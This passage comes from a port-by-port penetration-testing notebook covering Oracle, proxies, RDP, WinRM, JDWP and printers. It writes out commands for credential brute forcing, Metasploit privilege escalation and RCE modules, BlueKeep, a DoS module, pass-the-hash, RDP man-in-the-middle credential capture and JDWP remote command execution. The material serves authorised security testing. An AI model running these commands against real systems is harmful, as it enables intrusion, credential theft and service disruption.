msdat smbauthcapture -v -s <RHOST> -p <RPORT> -D <DB_NAME> -U <USERNAME> -P '<PASSWORD>' --capture <LHOST_SMB_SERVER>
```

***

### References

<https://hackingandsecurity.blogspot.com/2018/09/abusing-sql-server-trusts-in-windows.html> <https://alamot.github.io/mssql\\_shell/> <https://blog.netspi.com/get-sql-server-sysadmin-privileges-local-admin-powerupsql/> <https://docs.microsoft.com/fr-fr/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-2017> <https://docs.microsoft.com/fr-fr/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-2017> <https://dba.stackexchange.com/questions/199440/why-securityadmin-does-not-have-enough-permission> <https://blog.netspi.com/get-sql-server-sysadmin-privileges-local-admin-powerupsql/> <https://docs.microsoft.com/fr-fr/dotnet/framework/data/adonet/sql/customizing-permissions-with-impersonation-in-sql-server> <https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/> <https://sqlity.net/en/1701/the-trustworthy-database-property-explained-part-2/> <https://docs.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms189237(v=sql.105)> <https://docs.microsoft.com/fr-fr/sql/ssms/agent/create-an-activex-script-job-step?view=sql-server-2016> <https://www.mssqltips.com/sqlservertip/2014/replace-xpcmdshell-command-line-use-with-sql-server-agent/> <https://docs.microsoft.com/fr-fr/sql/ssms/agent/clear-the-job-history-log?view=sql-server-ver15> <https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-link-crawling-powerupsql/> <https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links>


# 1521 - ORACLE\_DB

### Overview

Oracle Database (commonly referred to as Oracle RDBMS or simply as Oracle) is a multi-model database management system produced and marketed by Oracle Corporation.

The latest release version is Oracle Database 18c (February 2018), but many 10g and 11g are still in use.

**SID vs Service Name**

To connect to an Oracle database a SID or a Service Name is required. The SID is an unique name of the instance (eg the oracle process running on the server), while the Service Name is an alias to one or multiples instances.

The main purpose of this system is to manage an unique Service Name for multiples instances in a cluster of servers. Multiple services names can also be specified for a same SID in order to distinguish among different uses of the same database.

**Oracle client installation**

1. Download the last version of the Oracle Instant Client from the official Oracle website. As of December 2018, the last version is 18.3.0.0.0 and is backwards compatible with Oracle Database 11.2 or later.

The following packages are required for some of the techniques and tools presented in the present note:

```
- instantclient-basic-linux.\*.zip
- instantclient-sqlplus-linux.\*.zip
- instantclient-sdk-linux.\*.zip
```

2\. Unzip the packages into a single directory such as /opt/oracle

```
cd /opt && mkdir oracle
unzip instantclient-*
```

1. Prior to version 18.3, create the appropriate links for the version of Instant Client. For example:

   ```
   cd /opt/oracle/instantclient_12_2
   ln -s libclntsh.so.12.1 libclntsh.so
   ln -s libocci.so.12.1 libocci.so
   ```
2. Install the libaio package. This is called libaio1 on some Linux distributions.

   ```
   # Kali Linux
   apt-get install libaio1
   ```
3. Configure the needed environment variables by adding the following definition to the appropriate configuration file (\~/.bashrc, \~/.zshrc, etc.):

```
export PATH=$PATH:/opt/oracle/instantclient_18_3
export SQLPATH=/opt/oracle/instantclient_18_3
export TNS_ADMIN=/opt/oracle/instantclient_18_3
export LD_LIBRARY_PATH=/opt/oracle/instantclient_18_3
export ORACLE_HOME=/opt/oracle/instantclient_18_3
```

### Network scan

Nmap can be used to scan the network for exposed Oracle databases. Note that while the default port for an Oracle database instance is 1521, it is common to find multiples instances on a server, running on various ports.

```
nmap -v -p 1521 -oA nmap_oracle_db <RANGE | CIDR>
```

### TNS listener version

Nmap and the Metasploit module *auxiliary/scanner/oracle/tnslsnr\_version* can be used to retrieve the version of the TNS listener in use:

```
nmap -v -p 1521 -A <HOST | IP>
msf> use auxiliary/scanner/oracle/tnslsnr_version
```

### SID and Service Name retrieval

The SID or Service Name of the database must be specified when trying to authenticate to an Oracle database.

On some older version of TNS listeners, SID and Service Name can be directly enumerated. Some third parties components may also be used to enumerate SID and Service Name. A vulnerable web application or an access to the file system may be leveraged to retrieve database SID or Service Name.

If none of the techniques described above apply, the TNS listener SID must be brute forced.

The Oscanner tool can be used on Linux to conduct basic SID enumeration as well as default / common credentials brute forcing on retrieved SID:

```
oscanner -s <HOST | IP> -P <PORT>
```

More exhaustive SID retrieval techniques and tools:

| Component                                                              | Tool(s)                                                                                                                                                                                                                                                                                                                                                                                    | Description                                                                                                                                                                                                                                                                                                                                                         |
| ---------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| TNS < Oracle 9.2.0.8                                                   | `auxiliary/scanner/oracle/sid_enum`                                                                                                                                                                                                                                                                                                                                                        | Direct query to the unprotected listener to enumerate SID.                                                                                                                                                                                                                                                                                                          |
| <p>Oracle Enterprise Manager Control<br><em>Default port 1158</em></p> | `http://<HOST>:1158/em/console`                                                                                                                                                                                                                                                                                                                                                            | Access to the /em/console page of the manager may contain a login form with the database Service Name value.                                                                                                                                                                                                                                                        |
| <p>Oracle XML DB (XDB)<br><em>Default port 8080</em></p>               | `auxiliary/scanner/oracle/xdb_sid`                                                                                                                                                                                                                                                                                                                                                         | If an Oracle XML DB (XDB) service is exposed on the server and credentials could be obtained (default are scott:tiger before Oracle 12.1.0.2), make authenticated request to retrieve the SID from the Oracle XML DB httpd server.                                                                                                                                  |
| <p>Oracle Application Server<br><em>Default port 5560</em></p>         | <p><code>http\://\<HOST>:5560/servlets/Spy</code><br><code>auxiliary/scanner/oracle/spy\_sid</code></p>                                                                                                                                                                                                                                                                                    | The default servlet Spy may reveal a Service Name value.                                                                                                                                                                                                                                                                                                            |
| \*                                                                     | <p><code>auxiliary/scanner/oracle/sid\_brute</code><br><code>python patator.py oracle\_login host=\<HOST> sid=FILE0 0=\<WORDLIST\_SID> -x ignore:code=ORA-12505</code><br><code>python patator.py oracle\_login host=\<HOST> service\_name=FILE0 0=\<WORDLIST\_SERVICE\_NAMES> -x ignore:code=ORA-12514</code><br><code>hydra -L \<WORDLIST\_SID> -s \<PORT> \<HOST> oracle-sid</code></p> | SID bruteforce if others methods are not available. Metasploit include a list of default / common SID. The hostname of the server, and variations of the hostname, should be tried as well.                                                                                                                                                                         |
| SAP environment                                                        | <p><code>http\://\<HOST>:8000/sap/bc/gui/sap/its/webgui</code><br><code>http\://\<HOST>:8000/sap/bc/gui/sap/its/DONOT\_EXIST404</code><br><code>rfcping ashost=\<HOST> sysnr=00</code><br>Limited SID brute forcing</p>                                                                                                                                                                    | Multiple ways exist to enumerate an Oracle Database SID or Service Name integrated to a SAP environment. The SAP Web Application Server or the SAP RFC endpoint may leak SID or Service Name. Moreover, as Oracle SID integrated in a SAP environment are limited to Latin symbols and must be 3 or less symbols in length, a limited brute force can be conducted. |
| Vulnerable Web application                                             | Web stack trace error messages                                                                                                                                                                                                                                                                                                                                                             | SQL error messages from invalid queries using the Web application may leak the database SID or Service Name.                                                                                                                                                                                                                                                        |
| File system access                                                     | <p>Web application LFI or directory listing<br>FTP or SMB access<br>...</p>                                                                                                                                                                                                                                                                                                                | An access to the file system may be leveraged to retrive the Oracle service configuration file *tnsnames.ora* stored in the *$ORACLE-home/NETWORK/admin* folder.                                                                                                                                                                                                    |

### Authentication brute force

The Oscanner tool can be used to conduct a default / common credentials brute force:

```
oscanner -s <HOST | IP> -P <PORT>
```

The *oracle\_login\_password.txt* from the fuzzdb project is a combo file of default / common usernames and passwords.

The patator tool can be used to brute force credentials on the service:

```
# Using oracle_login_password combo file
patator.py oracle_login host=<HOST | IP> (sid=<SID> | service_name=<SERVICE_NAME>) user=COMBO00 password=COMBO01 0=oracle_login_password.txt -x ignore:code=ORA-01017

# Using two different wordlists
patator.py oracle_login host=<HOST | IP> (sid=<SID> | service_name=<SERVICE_NAME>) user=FILE0 password=FILE1 0=<WORDLIST_USERS> 1=<WORDLIST_PASSWORDS> -x ignore:code=ORA-01017
```

Error messages may be returned if the credentials tested are valid:

```
connection to sys should be as sysdba or sysope
Connections to this server version are no longer supported
```

### Database privilege escalation

Multiples Metasploit modules can be used to exploit Oracle vulnerabilities to elevate privileges from a low privileged user to SYSDBA on outdated Oracle Database Server.

```
# Oracle Database Server 10.1.0.5, 10.2.0.4, 11.1.0.7, and 11.2.0.1
msf> use auxiliary/sqli/oracle/dbms_cdc_publish3

# Up to Oracle Database Server 10.1.0.5.0
msf> use auxiliary/sqli/oracle/lt_findricset_cursor

# Older Oracle Database Server versions
msf> use auxiliary/sqli/oracle/*
```

### Query the database

The XXX CLI tool can be used to make queries to the database:

```
XXX
```

The **DBeaver** GUI tool can be used to simply access the database content without knowing the proper MSSQL syntax.

### OS access and commands execution

```
msf> use auxiliary/sqli/oracle/jvm_os_code_11g
msf> use auxiliary/sqli/oracle/jvm_os_code_10g
```


# 3128 - Proxy

### Overview

The `TCP` port 3128 is commonly used by web proxy servers, such as `Squid`. A proxy server is simply a component that acts as an intermediary relay for clients accessing network resources. Instead of connecting directly to the resource, the client makes requests to the proxy server that fulfil, or not, the requests and transmit the result back to the client.

Web proxies, also known as HTTP proxies, forward `HTTP` requests or `TCP` sessions. The later are tunnelled using the `CONNECT` `HTTP` verb. As stated in the `Squid` documentation for `CONNECT` tunnel: "the proxy establishes a `TCP` connection to the specified server, responds with an `HTTP 200` (Connection Established) response, and then shovels packets back and forth between the client and the server, without understanding or interpreting the tunneled traffic".

**Open proxies**

An open proxy is a proxy server that will forward unauthenticated client's requests, which may be leveraged to access services exposed on the proxy server's loopback interface or network resources otherwise inaccessible.

### Network enumeration

`nmap` can be used to scan the network for exposed Proxy services:

```
nmap -v -p 3128 -sV -sC -oA nmap_proxy <RANGE | CIDR>
```

### Open proxies detection

Multiple techniques may be used to detect open web proxies, each one having its own advantages and disadvantages. The usage of some of the tools associated with each techniques is detailed below.

| Description                                                                            | Pros                                                                                                            | Cons                                                                                                                                                                  | Possible tool(s)                                                                                                                                                                                                                                                                                                                                                                                                                   |
| -------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Attempt to access a well known website through the proxy.                              | Only requires a single request.                                                                                 | <p>Requires the proxy server to have Internet access.<br><br>Forwarding of internal traffic may be authorized while sending of Internet going traffic restricted.</p> | <p><code>nmap</code>'s <code>NSE</code> script <code>http-open-proxy</code>.<br>By default the script will attempt to access <code>[www.google.com](http://www.google.com)</code>.<br><br><code>masscan</code> + <code>Masscan-Proxies-Tester</code>.<br>By default the script will attempt to access <code><http://perdu.com></code>.<br><br><em>Detailed in the "Access attempt to a well known website" section below.</em></p> |
| Attempt to access localhost services (of the proxy server) through the proxy.          | Requires a maximum of 65535 requests to exhaustively attempt to access every possible localhost `TCP` services. | Forwarding to remote hosts may be authorized while access to the loopback interface restricted.                                                                       | <p><code>proxychains</code> + <code>nmap</code> full <code>TCP</code> connect scan.<br><br><code>Metasploit</code>.<br><br><em>Detailed in the "HTTP(S) proxy usage" section below.</em></p>                                                                                                                                                                                                                                       |
| Attempt to access well known ports / services (or all ports) of remote internal hosts. | The more ports / hosts are scanned, the more thorough the approach will be.                                     | May requires a tremendous amount of time depending on the number of ports / hosts scanned.                                                                            | <p><code>proxychains</code> + <code>nmap</code> full <code>TCP</code> connect scan.<br><br><em>Detailed in the "HTTP(S) proxy usage" section below.</em></p>                                                                                                                                                                                                                                                                       |

**Access attempt to a well known website**

The `nmap`'s `NSE` script `http-open-proxy` or `masscan` followed by `Masscan-Proxies-Tester` Python script can be used to detect open proxy servers that can reach the Internet. `Masscan-Proxies-Tester` takes as input a `masscan` scan output in the `List` format.

```
# Masscan-Proxies-Tester
masscan <IP | RANGE | CIDR | RANGES | etc.> -p <3128,8080,5555,8000 | PORTS> -oL <MASSCAN_OUTPUT_FILE>
# Parameters default: 10 threads, queue size of 10000, 6s timeout.
process.py [--thread=<THREAD_NUMBER>] -m <MASSCAN_OUTPUT_FILE>

# nmap's http-open-proxy.nse
nmap -v -sT -p <3128,8080,5555,8000 | PORTS> --script http-open-proxy.nse <IP | RANGE | CIDR | RANGES | etc.>
```

### HTTP(S) proxy usage

Tools may natively support the specification of a proxy to channel `HTTP` / `HTTPS` requests or `TCP` sessions through a web proxy server. For tools that do not offer such mechanism natively (such as `nmap`), `proxychains` can be used to force the `TCP` connections made by the given application to pass through the specified proxy.

Note that a number of restrictions apply when conducting ports scan through a proxy (usage of full `TCP` connections, no forwarding of `ICMP` requests, etc.). Refer to the `[General] Ports scan` note for more information on how to conduct a ports scan through a Proxy server.

In additions to `HTTP(S)` proxies, `proxychains` also supports `SOCKS4` / `SOCKS5` and `TOR` proxies. For more information on `SOCKS` proxies, refer to the `[General] Pivoting` note.

```
# Specification of the HTTP/HTTPS proxy address in /etc/proxychains.conf or passed as argument to proxychains using the CLI "-f" option.
[ProxyList]
<http | https> <PROXY_IP> <PROXY_PORT>

# Execution of commands through proxychains.
proxychains [...]
```

The `Metasploit`'s `auxiliary/scanner/http/squid_pivot_scanning` module can also be used to directly conduct network scan through an exposed `Squid` proxy:

```
msf> use auxiliary/scanner/http/squid_pivot_scanning
```


# 3306 - MySQL

### MySQL service Linux privilege escalation

Under certain circumstances, notably the MySQL process running under root privileges, the service can be abused to conduct a privilege escalation.

Refer to the `Linux - Priv Esc Methodology` note for a detailed procedure to do so.


# 3389 - RDP

### Overview

The `Remote Desktop Protocol (RDP)` is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs `RDP` client software for this purpose, while the other computer must run a `RDP` server software.

`RDP` authentication mechanism rely on Windows local or Active Directory domain credentials.

**Network Level Authentication NLA**

`RDP` may uses `Network Level Authentication (NLA)`, introduced in `RDP 6.0` and supported initially in Microsoft Windows Vista / Windows Server 2008, which requires the connecting user to authenticate before a session is established with the server and prevents the use of resources on the server from the load of the graphical login screen.

**Restricted Admin mode**

The `Restricted Admin mode` is a security feature introduced in the Microsoft Windows 8.1 and Server 2012 R2 operating systems. The feature has been backported to Windows 7 and Server 2008.

`Restricted Admin mode` prevents the connecting user's credentials to be stored on the remote host by transforming the logon to a `network logon` (`Type 3`) instead of a `remote interactive logon` (`Type 10`). Indeed, for `remote interactive logon`, the plaintext password is provided and the user's credentials are stored in the `LSASS` process of the remote host. In `Restricted Admin mode`, no form of credentials (plaintext password, `LM` / `NTLM` hashes or `kerberos` `TGT`) are stored on the remote host.

`Restricted Admin mode` must be enabled on the remote host (`DisableRestrictedAdmin` registry key to (`REG_DWORD`) `0` which is not the case by default) and the client must connect in `Restricted Admin mode` (for example: `mstsc.exe /restrictedAdmin`). Note that enabling `Restricted Admin mode` allow `Pass-the-hash` authentication over `RDP`.

Only members of the local `Administrators` group may authenticate in `Restricted Admin` mode and the network identity (for remote access over the network) of the `RDP` session will, by default, be authenticated using the `RDP` host machine account. This authentication using the `RDP` host machine account can be disabled by setting the `DisableRestrictedAdminOutboundCreds` registry key to (`REG_DWORD`) `1`.

### Network scan

`Nmap` and the `Metasploit`'s `auxiliary/scanner/rdp/rdp_scanner` module can be used to scan the network for `RDP` services.

`Nmap`'s service and default `RDP` scripts scan may allow for the retrieval of information about the hosts (`NetBIOS` / `DNS` hostname, Windows product version, `SSL` / `TLS` subject and issuer, etc.). `Metasploit`'s `auxiliary/scanner/rdp/rdp_scanner` module will check whether or not `NLA` is enabled.

```
nmap -n -Pn -v -p 3389 -sV -sC -oA <NMAP_OUTPUT> <RANGE | CIDR>

msf > use auxiliary/scanner/rdp/rdp_scanner
msf auxiliary(scanner/rdp/rdp_scanner) > set RHOSTS <HOSTNAME | IP | CIDR | file:<PATH>>
```

### Authentication brute force

The local or Active Directory domain account lockout policies apply (depending on the type of authentication tried) when connecting in `RDP`. Vertical brute forcing may thus not be possible.

However, horizontal `RDP` brute forcing can be used for lateral movement once an account has been compromised. Indeed, the compromised account may not be a member of the local `Administrators` group (and thus can not connect through `PsExec` like tool for example) but can be a member of the `Remote Desktop Users` group.

`Patator`, `Hydra` or the `crowbar` Python Script can be used to brute force `RDP` access. `Patator` and `crowbar` both support `NLA` (as of December 2018, `Hydra` does not support no NLA RDP brute force).

```
python crowbar.py -b rdp (-u <USERNAME | <DOMAIN\\USERNAME> | -U USERNAME_FILE) (-c <PASSWORD> | -C <PASSWORDS_LIST) -s <CIDR>

hydra -t 1 -V -l <USERNAME> (-p <PASSWORD> | -P <PASSWORDS_LIST) rdp://<IP | HOST>
```

### Known vulnerabilities

`nmap` can be used to check for the `CVE-2012-0002` / `MS12-020` exploit. The `Metasploit`'s `auxiliary/scanner/rdp/cve_2019_0708_bluekeep` module and `rdpscan` can be used to scan for `BlueKeep` / `CVE-2019-0708`.

```
# BlueKeep CVE-2019-0708
msf> use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
# set RHOSTS file:<PATH>
# set THREADS <THREADS_NUMBER>

rdpscan.exe --file E:\Keolis\1-Wales\1-Pentest\hosts\IP.txt

# CVE-2012-0002 / MS12-020
nmap -v -p 3389 --script rdp-vuln-ms12-020 <HOST>
msf> use auxiliary/scanner/rdp/ms12_020_check
```

**BlueKeep CVE-2019-0708**

An heap corruption can occur in the RDP protocol that allows for arbitrary code execution at the system level pre-authentication.

Microsoft identified the following Windows versions as vulnerable:

* Windows XP
* Windows Vista
* Windows 7
* Windows Server 2003
* Windows Server 2008
* Windows Server 2008 R2

Windows versions newer than Windows 7 and Windows Server 2012 are not vulnerable.

The `Metasploit` module `exploit/windows/rdp/cve_2019_0708_bluekeep_rce` can be used to exploit the vulnerability. Note that the exploit is not yet polished.

```
msf> use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
```

**CVE-2012-0002 / MS12-020**

The `CVE-2012-0002` / `MS12-020` vulnerability can be used both to realize a Denial Of Service and remotely execute code on the target.

The `Metasploit`'s `auxiliary/dos/windows/rdp/ms12_020_maxchannelids` may be used to realize a `DoS` of the target:

```
msf> use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
```

As of December 2018, no public proof-of-concept code that results in remote code execution is available.

### RDP clients

**Windows**

On Windows, the default `Microsoft Remote Desktop` (`mstsc.exe`) application ("Connexion Bureau à distance") or the `Remote Desktop Manager` and `mRemoteNG` third parties applications can be used as `RDP` clients.

The `Remote Desktop Manager` and `mRemoteNG` clients allow for the configuration and storing of multiples `RDP` connections (host and authentication information). A free edition of `Remote Desktop Manager` is available as well as a commercial grade enterprise edition.

**Linux**

On Linux, `FreeRDP` (`xfreerdp`), `rdesktop` or `Remmina` (GUI) can be used as `RDP` clients.

```
# xfreerdp.

xfreerdp [/size:<SCREEN_SIZE_PERCENT>%] /u:'<DOMAIN | WORKGROUP>\<USERNAME>' /p:'<PASSWORD>' /v:<HOSTNAME | IP>[:<PORT>]

# Disables NLA for host that do not require Network Level Authentication.
xfreerdp -sec-nla /u:'<DOMAIN | WORKGROUP>\<USERNAME>' /p:'<PASSWORD>' /v:<HOSTNAME | IP>

# Connection in restricted admin mode.
xfreerdp /restricted-admin /u:'<DOMAIN | WORKGROUP>\<USERNAME>' /p:'<PASSWORD>' /v:<HOSTNAME | IP>

# For RD Web Access through a Remote Desktop gateway.
# The <RDP_FILE> corresponds to the RDP client configuration file retrieved from the RD Web Access web interface.
xfreerdp <RDP_FILE> /d:<DOMAIN | WORKGROUP> /u:<USERNAME> /p:'<PASSWORD>' /gt:rpc

# rdesktop.
rdesktop -d '<DOMAIN | WORKGROUP>' -u '<USERNAME>' <HOSTNAME | IP>[:<PORT>]
```

### Pass-the-hash over RDP

The `xfreerdp` client on Linux and `mimikatz` with the built-in `mstsc.exe` client on Windows can be used to authenticate using an account's `NTLM` hash through `RDP`. The remote hosts must support the `Restricted Admin mode` feature.

```
# Linux.
xfreerdp /u:'<DOMAIN | WORKGROUP>\<USERNAME>' /pth:<HASH> /v:<HOSTNAME | IP>

# Windows.
# The Remote Desktop Connection (mstsc.exe) client will display the currently logged user information but the network connection will be established using the identity specified to mimikatz's sekurlsa::pth.
sekurlsa::pth /domain:<. | DOMAIN_FQDN> /user:<USERNAME> /ntlm:<NT_HASH> /run:"mstsc.exe /restrictedadmin"
```

### Man-in-the-middle attack

`Seth` is a tool written in Python and Bash to MitM `RDP` connections that attempts to downgrade the connection in order to extract clear text credentials.

`Seth` can be used regardless if `Network Level Authentication (NLA)` is enabled or not on the targeted `RDP` host.

`Seth` will notably:

* Spoof `ARP` replies to redirect traffic from the victim host to the attacker machine and then to the target RDP server.
* Configure an `iptable` rule to reject `SYN` packet to prevent direct `RDP` authentication.
* Clone the `SSL` certificate (only replacing the public key and signature)
* Block traffic to port 88 to downgrade `Kerberos` authentication to `NTLM`.

Note that the user will be presented with a certificate error warning that must be accepted before the clear text credentials are sent.

In case of a successful attack:

* Clear text credentials of the user login in are obtained
* A command can be executed on the targeted host
* Victim keyboard inputs are retrieved

```
# Unless the RDP host is on the same subnet as the victim machine, the last IP address must be that of the gateway.
# The COMMAND is executed on the RDP host by simulating WIN+R
# The COMMAND should not contains special characters (powershell -enc <STRING> can be used)

seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP | HOST_IP> [<COMMAND>]
```

### Session Hijacking

If `Administrator` / `NT AUTHORITY\SYSTEM` privileges could be obtained on a host, `RDP` sessions of others users can be hijacked. This could be used to access the host as the hijacked user through a GUI interface with out knowing its password.

To hijack `RDP` session refer to the `[Windows] Post Exploitation` note.


# 5985 / 5986 - WSMan

### Overview

Windows Remote Management (`WinRM`) is the Microsoft implementation of `WS-Management` Protocol, a standard `Simple Object Access Protocol` (`SOAP`)-based, protocol that allows hardware and operating systems, from different vendors, to interoperate.

`WinRM` can be used to perform various management tasks remotely, including, but not limited to, running batch and `PowerShell` commands or scripts. Communications are performed over `HTTP`, port TCP `5985`, or `HTTPS`, port TCP `5986`.

`WinRM` supports multiples authentication mechanisms:

* `Basic` / `Digest`: basic authentication for local Windows accounts. Credentials are base64 encoded and sent to the server ;
* `Negotiate`: use negotiate authentication for both local and domain joined accounts, also known as Windows Integrated Authentication. By default only the built-in local Administrator and domain-joined accounts can connect through `Negotiate`. If the registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ System\LocalAccountTokenFilterPolicy` is set to `1`, all local accounts in the `Administrators` group to access the service.
* `Client Certificate-based`: authentication is made using a client certificate mapped to a local Windows account on the server ;
* `Kerberos`: use `Kerberos` authentication for domain joined accounts ;
* `ntlm`: use `NTLM` authentication for both local and domain joined accounts ;
* `credssp`: use `CredSSP` authentication mechanism for both local and domain joined accounts.

Members of the Windows built-in `Administrators` and `Remote Management Users` groups are allowed, by default, to access a remote machine through `WinRM`:

```
(Get-PSSessionConfiguration -Name Microsoft.PowerShell).Permission
  NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users AccessAllowed
```

**`WinRM` presents a limited attack surface, with no publicly known vulnerability to date (May-2019) and is subject to Windows anti brute forcing mechanisms. `WinRM` can thus be mostly used for lateral movement after an initial account compromise.**

### Enumerate supported authentication mechanisms

The `Metasploit` module `auxiliary/scanner/winrm/winrm_auth_methods` can be used to enumerate the authentication mechanisms, listed above, supported by the remote `WinRM` service.

```
msf> use auxiliary/scanner/winrm/winrm_auth_methods
```

May returns false negatives on recent and up to date `WinRM` service.

### Credentials brute forcing

The `Metasploit` module `auxiliary/scanner/winrm/winrm_login` can be used to conduct a brute force attack against a `WinRM` service.

Note that the account lockout policies for either local or domain joined account will apply. Vertical brute forcing attack will thus most likely result in account lockout. `WinRM` could however be used in passwords spraying attack, for more information refer to the `Active Directory - Passwords spraying` note.

```
msf> use auxiliary/scanner/winrm/winrm_login
```

### Remote commands execution

To execute commands through `WinRM` using known credentials, refer to the `Windows - Lateral movements` note.


# 8000 - JDWP

### Overview

The `Java Debug Wire Protocol (JDWP)` is one of three interfaces of the `Java Platform Debug Architecture`, which is designed for debugging purposes in development environments. The `JDWP` is a communication protocol used for the exchanges between a debugger and a `Java Virtual Machine (JVM)` being debugged, sometimes referred to as the "target `JVM`".

The `JDWP` protocol is asynchronous and implement two basic packet types: `command packets` and `reply packets`. The `command packets` are used to instruct the receiving component to execute of a specific command. While `command packets` can be sent by both the debugger and the target `JVM`, they are generally sent by the debugger. The `reply packets` are only sent in response to a `command packet` and return information about the command execution (command execution status, command output, etc.).

**Remote code execution can be achieved through the `JDWP` protocol**, as it support the loading of arbitrary classes into the target `JVM` and the invocation of functions. The code will be executed on the remote system under the security context of the target `JVM`.

One example of a simplified process to remotely execute system commands is as follow:

* setting of a breakpoint on a method often called during runtime such as `java.net.ServerSocket.accept()` or `java.lang.String.indexOf()`. This step is required as the next instructions must be executed in a running context (and will thus be executed only after the triggering of the breakpoint).
* retrieval of the `JVM`'s runtime context (of the thread in which the breakpoint is triggered) by sending a `ClassType/InvokeMethod` packet invoking the `java.lang.Runtime.getRuntime()` static method.
* allocation of a Java `String` object that will contain the operating system command to execute.
* calling of the `Runtime.exec()` method to execute the system command defined in the previously allocated string.

Another possibility is to inject a Java class, as a `byte` array, into the target `JVM` using `secureClassLoader.defineClass`. Following the remote loading, a method of the injected class can be invoked to conduct the shell commands execution.

As intended for non-production environments, the **`JDWP` protocol does not support authentication nor data encryption**.

Disabled by default, a `JVM` must be explicitly started with the following arguments in order to be remotely debuggable (and thus exposing a `JDWP` interface):

* Before `Java 5.0`, `-Xdebug` and `-Xrunjdwp`.
* Starting from `Java 5.0`,\
  `-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=<*:8000 | *:PORT>`

### Network scan

While `JDWP` services are standardly exposed on port TCP 8000, the port number of the service is specified at the `JVM` start. `JDWP` services may thus be accessible on any TCP ports.

Note that `JDWP` communications are initiated by a both-way handshake, with the debugger sending a `JDWP-Handshake` string and the target `JVM` responding using the same string. Through this handshake, `JDWP` services can be reliably identified.

```
nmap -v <-p 8000 | -p-> -sV -sC -oA nmap_JDWP <RANGE | CIDR>
```

`massscan` with the configuration file below can be used to scan the network for accessible `JDWP` services by scanning for open TCP ports and attempting a `JDWP-Handshake` handshake.

```
# Usage: masscan [-v] -c <JDWP_MASSCAN_CONF>
# Adapted from: https://raw.githubusercontent.com/IOActive/jdwp-shellifier/master/jdwp-masscan.cfg

rate =  <5000.00 | RATE>
randomize-hosts = true
banners = true
rotate = 0
rotate-dir = .
rotate-offset = 0
rotate-filesize = 0

range = <IP | RANGE | CIDR>
ports = <3999,5000,5005,8000,8453,8787-8788,9001,18000 | 1-65535 | TCP_PORTS>

min-packet = 60
hello-string[0] = SkRXUC1IQU5EU0hBS0U=
```

### Remote Code Execution

The `Metasploit`'s `exploit/multi/misc/java_jdwp_debugger` module, the `jdwp-shellifier` Python script, and the `nmap`'s `jdwp-exec` NSE script can be used to exploit a `JDWP` service to execute remote operating system commands.

The `nmap`'s `jdwp-exec` NSE script remotely inject a Java class while the `Metasploit` module and `jdwp-shellifier.py` directly retrieve the Runtime context to call the `Runtime.exec()` method.

Note that the `Metasploit`'s `exploit/multi/misc/java_jdwp_debugger` module drops a payload file to disk and by doing so may trigger antivirus alerts. Neither `nmap`'s `jdwp-exec` NSE script nor `jdwp-shellifier.py` upload a file to the targeted system.

```
# If executed with out a command, jdwp-shellifier will retrieve basic system information (OS version, current user, Runtime ClassPath, etc.).
# Defaults to break on "java.net.ServerSocket.accept" calls.
# Setting a breakpoint on "java.lang.String.indexOf" can be more reliable.  
jdwp-shellifier.py -t <IP | HOSTNAME> -p <PORT> [--break-on <'java.lang.String.indexOf' | JAVA_METHOD>]
jdwp-shellifier.py -t <IP | HOSTNAME> -p <PORT> [--break-on <'java.lang.String.indexOf' | JAVA_METHOD>] --cmd "<COMMAND>"

nmap -v -sT -sV -p <PORT> --script=+jdwp-exec --script-args cmd="<COMMAND>" <IP | HOSTNAME | RANGE | CIDR>

msf > use exploit/multi/misc/java_jdwp_debugger
```

***

### References

<https://docs.oracle.com/javase/7/docs/technotes/guides/jpda/jdwp-spec.html> <https://ioactive.com/hacking-java-debug-wire-protocol-or-how/> <https://book.hacktricks.xyz/pentesting/pentesting-jdwp-java-debug-wire-protocol> <https://www.redteamsecure.com/research/exploitation-java-debug-wire-protocol>


# 9100 - Printers

### Overview

Multi-Function Printers (MFP) incorporates the functionality of multiple devices in one, typically some or all of the following devices: email, fax, photocopier, printer, scanner. Some MFP also support more advanced features: Active Directory integration, SNMP support, wireless connection, ...

The TCP Port 9100 is commonly used by printer manufacturers, and by CUPS and the Windows printing architecture, as the TCP port to establish a bidirectional channel to send and receive raw data. Indeed, the port 9100, also referred to as JetDirect, AppSocket or PDL-datastream, is not used by a specific printing protocol but to send data that will be directly processed by the printing device.

MFP usually support one or all of the following printing languages:

* Printer Command Language (PCL), used to encode printed documents. Considered to be the de facto industry standard with a wider adoption.
* PostScript, similar to PCL and used to encode printed documents. The processing required printer side to use PostScript induce a higher implementation cost, reserved to high-end printers.
* Printer Job Language (PJL), conceived as an extension to PCL that adds job level controls, environment and file system commands, etc.

### Network scan

`nmap` can be used to scan the network for accessible printers (with port 9100 open):

```
nmap -v -p 9100 --open -A -oA nmap_printers <RANGE | CIDR>
```

### Unrestricted document printing

### SNMP

### Printer Exploitation Toolkit (PRET)

PRET is a tool for printer security testing that connects to a printer via network through port 9100 or USB and exploits the features of a given printer language.

PRET interfaces UNIX-like commands to the PostScript, Printer Job Language (PJL) or Printer Command Language (PCL) languages which are supported by most laser printers.

PRET can be used to:

* capture or manipulate print jobs
* access the printer's file system and memory
* cause physical damage to the device


# 11211 - memcached

### Overview

